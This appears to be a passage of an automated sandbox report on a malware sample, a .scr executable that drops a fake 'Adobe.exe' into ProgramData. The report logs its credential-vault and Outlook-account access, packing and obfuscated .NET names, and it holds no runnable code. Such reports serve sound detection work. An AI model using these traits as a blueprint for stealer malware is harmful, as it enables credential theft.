                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wldp.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: pstorec.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: vaultcli.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: dpapi.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wldp.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: pstorec.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wldp.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: version.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: urlmon.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: srvcli.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: netutils.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wldp.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: propsys.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: profapi.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: dwrite.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: windowscodecs.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: amsi.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: userenv.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: textshaping.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: winmm.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: urlmon.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wininet.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: iertutil.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: srvcli.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: netutils.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: iphlpapi.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: rstrtmgr.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ncrypt.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ntasn1.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: kernel.appcore.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: mscoree.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: kernel.appcore.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: version.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: vcruntime140_clr0400.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ucrtbase_clr0400.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ucrtbase_clr0400.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: uxtheme.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: urlmon.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: iertutil.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: srvcli.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: netutils.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: sspicli.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: windows.storage.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wldp.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: propsys.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptsp.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: rsaenh.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptbase.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: profapi.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: dwrite.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: windowscodecs.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: amsi.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: userenv.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: msasn1.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: gpapi.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: textshaping.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: winmm.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: urlmon.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wininet.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: iertutil.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: srvcli.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: netutils.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: iphlpapi.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: rstrtmgr.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ncrypt.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ntasn1.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: kernel.appcore.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: mscoree.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: kernel.appcore.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: version.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: vcruntime140_clr0400.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ucrtbase_clr0400.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ucrtbase_clr0400.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: uxtheme.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: urlmon.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: iertutil.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: srvcli.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: netutils.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: sspicli.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: windows.storage.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wldp.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: propsys.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptsp.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: rsaenh.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptbase.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: profapi.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: dwrite.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: windowscodecs.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: amsi.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: userenv.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: msasn1.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: gpapi.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: textshaping.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: winmm.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: urlmon.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wininet.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: iertutil.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: srvcli.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: netutils.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: iphlpapi.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: rstrtmgr.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ncrypt.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ntasn1.dll
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: kernel.appcore.dll
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32Jump to behavior
                Source: Window RecorderWindow detected: More than 3 window changes detected
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\AccountsJump to behavior
                Source: rSOD219ISF-____.scr.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
                Source: rSOD219ISF-____.scr.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

                Data Obfuscation

                barindex
                .NET source code contains potential unpacker
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, uThHoRE84EF1gITyGd.cs.Net Code: MYeaQBROhclMTvHYSaD System.Reflection.Assembly.Load(byte[])
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, uThHoRE84EF1gITyGd.cs.Net Code: MYeaQBROhclMTvHYSaD System.Reflection.Assembly.Load(byte[])
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,2_2_0041CB50
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 0_2_05BF6AC0 push eax; ret 0_2_05BF6AC1
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 0_2_0764C6C4 push eax; retf 0_2_0764C6D1
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 0_2_07647440 push eax; retf 0_2_07647441
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 0_2_076474D0 pushfd ; retf 0_2_076474D1
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 0_2_076461E2 pushfd ; ret 0_2_076461E9
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00457106 push ecx; ret 2_2_00457119
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0045B11A push esp; ret 2_2_0045B141
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00457A28 push eax; ret 2_2_00457A46
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00434E56 push ecx; ret 2_2_00434E69
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_05BC36D5 push 59E89005h; retf 3_2_05BC36F4
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_05BC51BE push 10418B05h; ret 3_2_05BC51C3
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_063B67B0 push es; ret 3_2_063B67C0
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_063B67F3 push es; ret 3_2_063B67C0
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_063B72A0 push es; ret 3_2_063B72B0
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_063B7D50 push es; ret 3_2_063B7D60
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_063BCDF1 push es; retn 0004h3_2_063BCE00
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_063B6AC0 push eax; ret 3_2_063B6AC1
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_079AC6C4 push eax; retf 3_2_079AC6D1
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_079A74D0 pushfd ; retf 3_2_079A74D1
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_079A7440 push eax; retf 3_2_079A7441
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 3_2_079A61E2 pushfd ; ret 3_2_079A61E9
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 4_2_10002806 push ecx; ret 4_2_10002819
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 4_2_10009FD8 push esi; ret 4_2_10009FD9
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_0044693D push ecx; ret 5_2_0044694D
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_0044DB70 push eax; ret 5_2_0044DB84
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_0044DB70 push eax; ret 5_2_0044DBAC
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_00451D54 push eax; ret 5_2_00451D61
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_0044B090 push eax; ret 7_2_0044B0A4
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_0044B090 push eax; ret 7_2_0044B0CC
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_00444E71 push ecx; ret 7_2_00444E81
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 8_2_00414060 push eax; ret 8_2_00414074
                Source: rSOD219ISF-____.scr.exeStatic PE information: section name: .text entropy: 7.889422160436118
                Source: Adobe.exe.2.drStatic PE information: section name: .text entropy: 7.889422160436118
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, i5n5VrJQGCTXpT1kkq.csHigh entropy of concatenated method names: 'ToString', 'blHq6OlSWk', 'AS8qCdGaUI', 'mD7qn4hh2K', 'h6MqSwwNj2', 'b09qBU4d1B', 'p2BqmlxNbU', 'hbtqNaaw3y', 'Rd4qvcNs0H', 'QtNqZfbsVI'
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, OZEg7d2SGr7k1mv20n.csHigh entropy of concatenated method names: 'PbGeTe5W3L', 'PDueHydw3n', 'qKueuVs0XQ', 'Et2e9uCoYm', 'Epoe3VABub', 'HWgeqgDoWP', 'UCqgPcpvpKCL9VOpyF', 'K1lBI1kIkn4lcR8aXi', 'VLaees2mKC', 'MLBe0SQFZ9'
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, axJfVqTPaMn5rIRuAK.csHigh entropy of concatenated method names: 'B6qRQnex7c', 'FuGRkDW97s', 'qVjRFIcOl5', 'g8BRocvo0I', 'xG2R3jVAHu', 'YmIRqSKOkQ', 'fG6R4xfavA', 'kGTR1kWNF7', 'QNlR5SdWxb', 'NyPR8JdXkp'
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, uZfm3RlU1hd6OEUdJL.csHigh entropy of concatenated method names: 'MTafwMlLc6', 'tPvfUwS4IN', 'divfbE3P81', 'fcJfVDsYR7', 'GbNfdKLWlS', 'QxHfLtGyQv', 'XXXftXWuV1', 'vMAfglV9Ii', 'DMpfJkUxlv', 'lyIfKSbksW'
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, EWYhIb9ycPQ92vbZSf.csHigh entropy of concatenated method names: 'rA9WFvYuFY', 'NBKWoM2mdd', 'zYSW2t5ieo', 'QLeWCIkRuw', 'xOZWSiFh9c', 'wc0WBrky2S', 'UBUWNAkota', 'f0KWvUjcNS', 'BhSW7fMnfx', 'L4lW6di6Ce'
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, sJC4CJFmByZTDYAWLO.csHigh entropy of concatenated method names: 'NuSIbWk2Ri', 'AtCIVQe3gP', 'WGxIdpTIIq', 'ToString', 'fM3ILmVO0Y', 'J9cItYtGqF', 'W1ADuJFg33JYj40H3sm', 'shXqMCFE7kVEloj1t6K', 'Gy7LqXF1ePQcbQUt17o'
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, gk82Pdm3uVJJStpMJF.csHigh entropy of concatenated method names: 'Kj9AWfRaF', 'BL0Q24JZg', 'YuCknYbng', 'TnRyk91nE', 'MSOoKjTCB', 'kBjpAEKou', 'hqKYvW64Ga9eInigVx', 'rTccmeBQBVHRYRZoTM', 'MKW1Xs4Sx', 'PRL8qLIRI'
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, fPuhdCtpqqmQf2sHCi.csHigh entropy of concatenated method names: 'T9a1Ml5pIf', 'HA51fXIRnk', 'j4s1RsBB2u', 'lbA1P0BmVa', 'wkO1I5cjeH', 'scv1TFPUgQ', 'yqt1H57mkn', 'sD61OE1PPa', 'DHm1uX2pM8', 'zQX19jd2Yh'
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, Gex7mNLDEfDDYsUkUT.csHigh entropy of concatenated method names: 'yyA37UPh6j', 'KhB3scZnRm', 'ixx3wqC9yC', 't4G3U65WZh', 'PDf3CpsSUm', 'm1H3nYHVNs', 'fgj3SFd0OH', 'Snm3BOH62U', 'KjK3mkAxCW', 'Qtr3NY5Fby'
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, oDuKYOGkBsXLOWcVE0.csHigh entropy of concatenated method names: 'AJvcKQFO2lpUDmwP6oc', 'kfDr3IFhA1BgZSEOupm', 'W97I193Lic', 'YuII5h233w', 'p5MI83srLG', 'qbEocBFolhoRTrajpqD', 'zCmOqZFXH16090OHMNo'
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, V8H4QPVOYC71CL5RRn.csHigh entropy of concatenated method names: 'PwK4gguBB0', 'CZR4KdjfG4', 'ISD1hQxoEE', 'AWy1e3doRN', 'e8f46CknVm', 'vC14sMjqF1', 'Xts4EvdEGu', 'acJ4wcTyiO', 'GlJ4UfCmMJ', 'lMd4bV7gFs'
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, K3fGHca5oQqjcXWxgSE.csHigh entropy of concatenated method names: 'mxy5X7QPfs', 'd3y5Gj3JE7', 'ceg5A9pfj0', 'Gd45Qtypu9', 'aFj5rAusdP', 'UOH5ka8PE5', 'f485yvyI1b', 'W7f5F43W01', 'FO75o7wx1Z', 'vT25pWE8cw'
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, XFIssgkyXcVofJg00e.csHigh entropy of concatenated method names: 'zxfIDWBbQM', 'lLOIfj7Gcc', 'pZTIPhsyEp', 'potITpCPjQ', 'tHkIHn9E8C', 'fYZPdGoMGC', 'kifPLTXXcQ', 'POUPt3a2I8', 'jXFPg0qFbb', 'qQvPJBuDjb'
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, cvVL404Sdtk3qjoJ6U.csHigh entropy of concatenated method names: 'Dispose', 'fmHeJWR2my', 'OrBxC3G1gP', 'DbwccBL0CO', 'mcveKs1Q3L', 'yEbezZhajy', 'ProcessDialogKey', 'QOCxhEFHXY', 'sgvxeN9Cw2', 'TQAxxt5c6G'
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, kVA9iEcQxxcd5xUhYd.csHigh entropy of concatenated method names: 'e8j4u8F6k1', 'fyn49LW4IW', 'ToString', 'RKT4Mvu858', 'XiE4fXGNU5', 'mQB4RXHfFQ', 'KF44PrH2tj', 'IEb4IwbCP4', 'FVh4TqvAif', 'AhF4HQK9FE'
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, d8G6GRaaoChup947BTr.csHigh entropy of concatenated method names: 'ToString', 'Nfc802BQC5', 'RFI8j5hGh1', 'cBD8DgFjuf', 'cLl8MD4CWb', 'V4B8fnaXPq', 'm5N8RVkbd6', 'wLS8PBghO4', 'OJUItUrW5hx4AY74xHc', 'rMoNa1rjiWympLtEhCs'
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, VuriiyzBu8w4rGrnZ9.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'LNk5WmNwLy', 'BTH53tfAro', 'DoV5q1SlXY', 'gwQ54oejqa', 'zQQ51PMW2f', 'Nf055asfpV', 'e7158HhXqo'
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, zxOd2JMxwjTOGkv25m.csHigh entropy of concatenated method names: 'Rvd12EBrN2', 'U0P1CTxBqa', 'OLt1nLYkm3', 'amk1SbnYyw', 'YoQ1wnXke6', 'YXl1BBnfn9', 'Next', 'Next', 'Next', 'NextBytes'
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, tH4bULuoCGXrYWlQsk.csHigh entropy of concatenated method names: 'D4MTMEVFDh', 'ECtTRAbb4T', 'HCITIp2KF7', 'aIaIKgY29K', 'JxNIzVIkYZ', 'FylThPnrXS', 'kV1TedLKAk', 'uNkTxh77Qj', 'yCcT0LVQee', 'NrgTjdlud6'
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, V6lLTXDoH1543aLswB.csHigh entropy of concatenated method names: 'gSyTXt1J4x', 'Tn4TGhHxtd', 'SiWTAoEETh', 'EZjTQwuCJ2', 'lsjTrZERt5', 'FeaTkigTEf', 'zK1Tyyk1ZS', 'M53TFHP0EE', 'ynBToSMVbT', 'mAHTpDV5XX'
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, THVnBtaOLQ4lNrcvJeh.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Jjl8w9FGhi', 'W1W8UIN4S4', 'S2H8b1clyK', 'ikH8VhX8m8', 'Txe8dU3vSw', 'gvP8L7wUrQ', 'NY58t0hfFh'
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, h8A6mUNkIXwwJSoV9b.csHigh entropy of concatenated method names: 'OsuPror0qQ', 'zo2PyVa241', 'L7gRnGRfGH', 'zxLRSIU62b', 'tU9RBPbAEh', 'c2nRmkXPI0', 'I5mRNDLE7c', 'K3ERvIOCCD', 'rebRZLRFjV', 'FJ5R7Z4ivm'
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, uThHoRE84EF1gITyGd.csHigh entropy of concatenated method names: 'aWo0D8Pebo', 'meK0MjC1sq', 'hs60fjtOjm', 'fa80R0BWCh', 'EIY0Pw7C4Y', 'yJZ0I6MrRA', 'yx70T7uewx', 'iLB0HiaMcR', 'YPh0Owk7Kq', 'IpF0uMnBAA'
                Source: 0.2.rSOD219ISF-____.scr.exe.7ed0000.6.raw.unpack, b7lVpn1tLur0thox8f.csHigh entropy of concatenated method names: 'AW65e1UDB4', 'sDm50ImTyT', 'C6y5jV2aAf', 'LUS5M71UVs', 'g5Y5fObeNE', 'E0W5Pmhb1y', 'Ewp5I02HBC', 'DwF1tiT1LZ', 'lXg1g3jJAi', 'o5E1JaFRkd'
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, i5n5VrJQGCTXpT1kkq.csHigh entropy of concatenated method names: 'ToString', 'blHq6OlSWk', 'AS8qCdGaUI', 'mD7qn4hh2K', 'h6MqSwwNj2', 'b09qBU4d1B', 'p2BqmlxNbU', 'hbtqNaaw3y', 'Rd4qvcNs0H', 'QtNqZfbsVI'
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, OZEg7d2SGr7k1mv20n.csHigh entropy of concatenated method names: 'PbGeTe5W3L', 'PDueHydw3n', 'qKueuVs0XQ', 'Et2e9uCoYm', 'Epoe3VABub', 'HWgeqgDoWP', 'UCqgPcpvpKCL9VOpyF', 'K1lBI1kIkn4lcR8aXi', 'VLaees2mKC', 'MLBe0SQFZ9'
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, axJfVqTPaMn5rIRuAK.csHigh entropy of concatenated method names: 'B6qRQnex7c', 'FuGRkDW97s', 'qVjRFIcOl5', 'g8BRocvo0I', 'xG2R3jVAHu', 'YmIRqSKOkQ', 'fG6R4xfavA', 'kGTR1kWNF7', 'QNlR5SdWxb', 'NyPR8JdXkp'
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, uZfm3RlU1hd6OEUdJL.csHigh entropy of concatenated method names: 'MTafwMlLc6', 'tPvfUwS4IN', 'divfbE3P81', 'fcJfVDsYR7', 'GbNfdKLWlS', 'QxHfLtGyQv', 'XXXftXWuV1', 'vMAfglV9Ii', 'DMpfJkUxlv', 'lyIfKSbksW'
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, EWYhIb9ycPQ92vbZSf.csHigh entropy of concatenated method names: 'rA9WFvYuFY', 'NBKWoM2mdd', 'zYSW2t5ieo', 'QLeWCIkRuw', 'xOZWSiFh9c', 'wc0WBrky2S', 'UBUWNAkota', 'f0KWvUjcNS', 'BhSW7fMnfx', 'L4lW6di6Ce'
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, sJC4CJFmByZTDYAWLO.csHigh entropy of concatenated method names: 'NuSIbWk2Ri', 'AtCIVQe3gP', 'WGxIdpTIIq', 'ToString', 'fM3ILmVO0Y', 'J9cItYtGqF', 'W1ADuJFg33JYj40H3sm', 'shXqMCFE7kVEloj1t6K', 'Gy7LqXF1ePQcbQUt17o'
                Source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, gk82Pdm3uVJJStpMJF.csHigh entropy of concatenated method names: 'Kj9AWfRaF', 'BL0Q24JZg', 'YuCknYbng', 'TnRyk91nE', 'MSOoKjTCB', 'kBjpAEKou', 'hqKYvW64Ga9eInigVx', 'rTccmeBQBVHRYRZoTM', 'MKW1Xs4Sx', 'PRL8qLIRI'
